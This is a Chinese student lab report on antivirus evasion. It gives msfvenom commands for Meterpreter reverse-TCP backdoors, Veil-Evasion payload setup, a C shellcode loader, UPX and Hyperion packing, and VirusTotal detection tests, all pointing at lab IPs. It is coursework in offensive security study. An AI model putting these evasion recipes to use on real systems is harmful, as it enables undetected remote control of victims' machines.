20181224蒋嘉豪-exp3-免杀原理与实现
20181224蒋嘉豪-exp3-免杀原理与实现
课上知识点总结
1.恶意软件检测机制
- 基于特征码的检测(需要定期更新病毒库)
- 启发式恶意软件检测(实时监控,开销较大)
- 基于行为的恶意软件检测(如API监控)
2.免杀技术综述
- 改变特征码
- 加壳(拥有.exe文件)
- 压缩壳
- 加密壳
- shellcode+encoder
- 重写重编译(veil-evasion或者手工)
- 半手工化(主流)
- 加壳(拥有.exe文件)
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据(如https)
- 操作系统
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
Exp3.1 能够正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。
3.1.1正确使用msf编码器并使用msfvenom生成文件
实验思路:msf在上次实验生成后门程序中已经使用过,所以在此实验中我进一步了解了msf各个参数的作用,以及加入了使用VirusTotal、Virscan进行检测。
msf中的使用的参数(参考博客)
-p
指定需要使用的payload(攻击载荷)
- 查看msf可用的payload列表:
msfvenom -l payload - msfvenom生成各类Payload命令(详见博客)这个对之后的实验有帮助
- 查看msf可用的payload列表:
-f
指定payload的输出格式
- 产看msf支持的输出格式:
msfvenom --list formats
- 产看msf支持的输出格式:
-e
指定需要使用的encoder(编码器)
- 查看可用的编码器:
msfvenom -l encoder
- 查看可用的编码器:
-b生成的文件中不存在-b之后指定的内容-i num指定编码器迭代的次数
利用msf生成
.exe文件并进行测试- 生成
.exe文件
msfvenom -p windows/meterpreter/reverse_tcp HOST = 192.168.187.136 PORT = 1224 -f exe > backdoor.exe
- 生成

- 利用VirusTotal进行测试

由图可知,在69个软件中有52个软件报错,比例还是很高的。
测试是否可以在windows下实现免杀,显然是不行的

利用msf生成
.jar文件并进行测试- 生成
.jar文件:
msfvenom -p java/meterpreter/reverse_tcp -e x86/opt_sub -i 4 HOST = 172.16.228.63 PORT = 1224 -f jar > backdoor.jar //使用x86/opt_sub编译器并迭代4次

利用VirusTotal进行测试

使用编译器和迭代的效果不是很大。测试是否可以在windows下实现免杀,不能。


- 生成
利用msf生成
.py文件并进行测试- 生成
.py文件:
msfvenom -p cmd/unix/reverse_python HOST = 172.16.228.63 PORT = 1224 -f raw > backdoor.py

利用VirusTotal进行测试

测试是否可以在windows下实现免杀,实现免杀。

- 生成
3.1.2使用veil-Evasion生成后门程序及检测
安装Veil-Evasion
https://www.cnblogs.com/orii/p/12564504.html
安装veil的方法大致有三种,我感觉能安装上只能随缘(捂脸),其中:
安装git:
sudo apt-get -y install git下载Veil-Evasion:
git clone https://github.com/Veil-Framework/Veil-Evasion.git把Veil-Evasion移动到
opt(随你选择)目录下:mv Veil-Evasion /opt进入Veil-Evasion所在目录:
cd /opt/Veil-Evasion/启动bash脚本进行安装:
bash setup/setup.sh -s此方法由于GitHub的不稳定等因素,不推荐使用。其次是(hyxjyyds)
step1:apt-get install veil
step2:使用命令
cd /usr/share/veil/config/进入该文件夹,使用ls查看该文件夹的内容step3:使用命令
vim setup.sh编辑文件,第251行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.gitstep4:命令行输入
veil,所有安装默认这是我最终成功的方法,但是要注意,一定要提前换源,否则安装的过程会卡住(我换的是中科大的源,换源后kali2020.4会出现一些问题,我们后面在说)。
此处一定要注意,若安装到一半未成功要养成好习惯,清除已经安装好的东西,否则到最后会出现一些始料未及的bug(最终我重装了kali)。

错误时刻


成功啦!!!
- 输入
use evasion进入Veil-Evasion - 输入
use c/meterpreter/rev_tcp.py进入配置界面 - 设置反弹连接IP,应当输入
ip_of_linux:set LHOST 192.168.160.142 - 设置端口:
set LPORT 1224 - 输入
generate生成后门程序文件,而后输入其名字,我这里是:jjh20181224 - 成功截图如下:

- 根据它的提示,进入
/var/lib/veil/output/compiled/中即可找到所生成的后门程序:jjh20181224.exe - 把它传到主机,发现杀软并未扫描出来:


- 上传至平台进行扫描,结果如下:

3.1.3利用shellcode编程
- 使用msf生成一段c语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp HOST=192.168.3.24 PORT=1224 -f c

- 创建
20181224.c文件,将shellcode转化为函数进行调用
此处为shellcode
int main()
{
int (*func)() = (int(*)())buf;
func();
}
交叉编译:
i686-w64-mingw32-g++ 2018124.c -o 20181224.exe

利用VirusTotal进行测试

使用ncat将kail下
20181224.exe文件
传送给windows并尝试回连(开启windows defender开启状态下)windows:
ncat.exe -l -p 1224 > 20181224.exelinux:
nc 192.168.3.24 < 20181224.exe结果

3.1.4加壳工具其他方法
压缩壳(以UPX为例)
对已经生成的
20181224.exe进行压缩:upx 20181224.exe -o jjh_upxed.exe

利用VirusTotal进行测试

测试下在windows下,smile again

加密壳(以Hyperion为例)
将已经生成的
jjh_upxed.exe复制到/usr/share/windows-resources/hyperion/进入
/usr/share/windows-resources/hyperion/进行加壳:
wine hyperion.exe -v jjh_upxed.exe jjh_upxed_Hyperion.exe

利用VirusTotal进行测试

在windows下进行测试。

3.2其他方法
- 这里用一个Veil-Evasion的其他荷载生成后门方式
- 启动veil,进入evasion,输入
list查看可用的有效荷载,如下:
- 启动veil,进入evasion,输入

- 此时我选择了第29个荷载,是Python下shellcode在AES下加密一种。
- 输入
option,查看有效荷载的选项,如下:

- 从上面可以清楚看到29号payload有很多选项,在这个界面,我们可以对该 payload 进行一些基本的配置。
例如:编译后生成文件的格式有效期,并是否进行加密做出配置。 - 我这里只配置了用户名,然后就
generate生成了.- 之后它会提示你输入想要选择的shellcode平台,选择
2msfvenom,一会儿我们用msfconsole进行反弹连接. - 输入
靶机OS/平台/连接方式,默认的,回车就行 - 输入metasploit荷载,同上
- 输入反弹连接IP(ip_of_linux)和端口号
- 其他msfvenom选项默认,回车就行
- 之后它会提示你输入想要选择的shellcode平台,选择
实验总结与体会
- 实验感想
本次实验面向实际,我通过参考学长学姐的博客,实现了几种免杀方案,不得不说,我们计算机上的杀软还有待提高。在了解了后门软件的基本原理后,我对信息安全有了更深刻的认识。在此次实验中,我耗费时间最多的是装Veil!!!不得不说这东西安装好,能一直用只能随缘,安装前一定要换源,安装失败也不能慌乱要完成各个步骤,安装成功也不能太放松,因为它随时都可能用不了了。
- 基于特征码
- 实时监控
- 基于行为的恶意软件检测
- 免杀是做什么?
可以实现杀毒软件不发现、扫描不出病毒代码。
- 免杀的基本方法有哪些
- 改变特征码
- 加壳
- shellcode+encoder
- veil-evasion
- 半手工化
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作系统
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 杀软是如何检测出恶意代码的?
- 基于特征码
- 实时监控
- 基于行为的恶意软件检测
- 免杀是做什么?
可以实现杀毒软件不发现、扫描不出病毒代码。
- 免杀的基本方法有哪些
- 改变特征码
- 加壳
- shellcode+encoder
- veil-evasion
- 半手工化
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作系统
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 开启杀软能绝对防止电脑中恶意代码吗
通过做实验实现了免杀,显然杀软不能绝对防止恶意代码
20181224蒋嘉豪-exp3-免杀原理与实现的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
- 2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这 ...
随机推荐
- C语言学习记录(三)
C语言学习记录(三) 一.知识要点(数据类型.运算符与表达式) 1.C语言的数据类型 C语言数据结构有:基本类型.指针类型.构造类型和空类型.其中基本类型:查看书籍的22页表3-1. C语言的基本数据 ...
- 实现ViewPager一次滑动多页(保持居中)
项目中开发日历功能,需求是可以连续滑动多页,有列表的流畅.又要保持当前页居中显示. 参考文献: http://www.open-open.com/lib/view/open1435026935638 ...
- 记录解决方案(sqlserver篇)
一个月的补卡次数不超过三次(即统计一个月内某人的补卡次数) 表结构是某人一天内的四次打卡状态,这样是统计当月补卡的天数了(错误) select count(*) from [Proc_HR_Punch ...
- Jquery 如何替换html字符串中标签属性值 ??
如何利用JQuery 替换HTML字符串中的属性值呢? 如 html 字符串有很多 img标签,现在需要修改 img的src值 var html="<div style="t ...
- js实现光标移入和移出元素事件
js实现光标移入和移出元素事件 效果实现: 代码: i标签添加事件 var onmouse = 'onmouseover = "overshow(this)" onmouseout ...
- 简述Linux零拷贝原理
什么是零拷贝 零拷贝描述的是在计算机操作系统中,CPU不执行将数据从一个内存区域,拷贝到另一个内存区域的任务. 通过网络传输文件时,零拷贝通常可以节省CPU周期和内存带宽. 零拷贝的好处 节省了CPU ...
- chrome浏览器通知与语音播放
HTML5 Web Notification 语法 https://developer.mozilla.org/zh-CN/docs/Web/API/notification 如果浏览器支持Web N ...
- Android开发数据库Sqlite
创建数据库 首先我们要了解这个类:SQLiteOpenHelper: 1.写一个类继承SQLiteOpenHelper 2.实现里面的方法,创建构造方法 参数解释: /** @param: conte ...
- mac系统yarn使用报错:ERROR: add is not COMMAND nor fully qualified CLASSNAME.
出现错误的过程: mac 系统上使用阿里的X6(@antv/x6) x6 快速上手: 1 npm install @antv/x6 --save 2 yarn add @antv/x6 ...
- C#使用SharpZipLib解压多文件的zip压缩文件数据流,保存到本地
代码: public async Task<ReturnModel<List<string>>> UploadModel() { var task = new Ta ...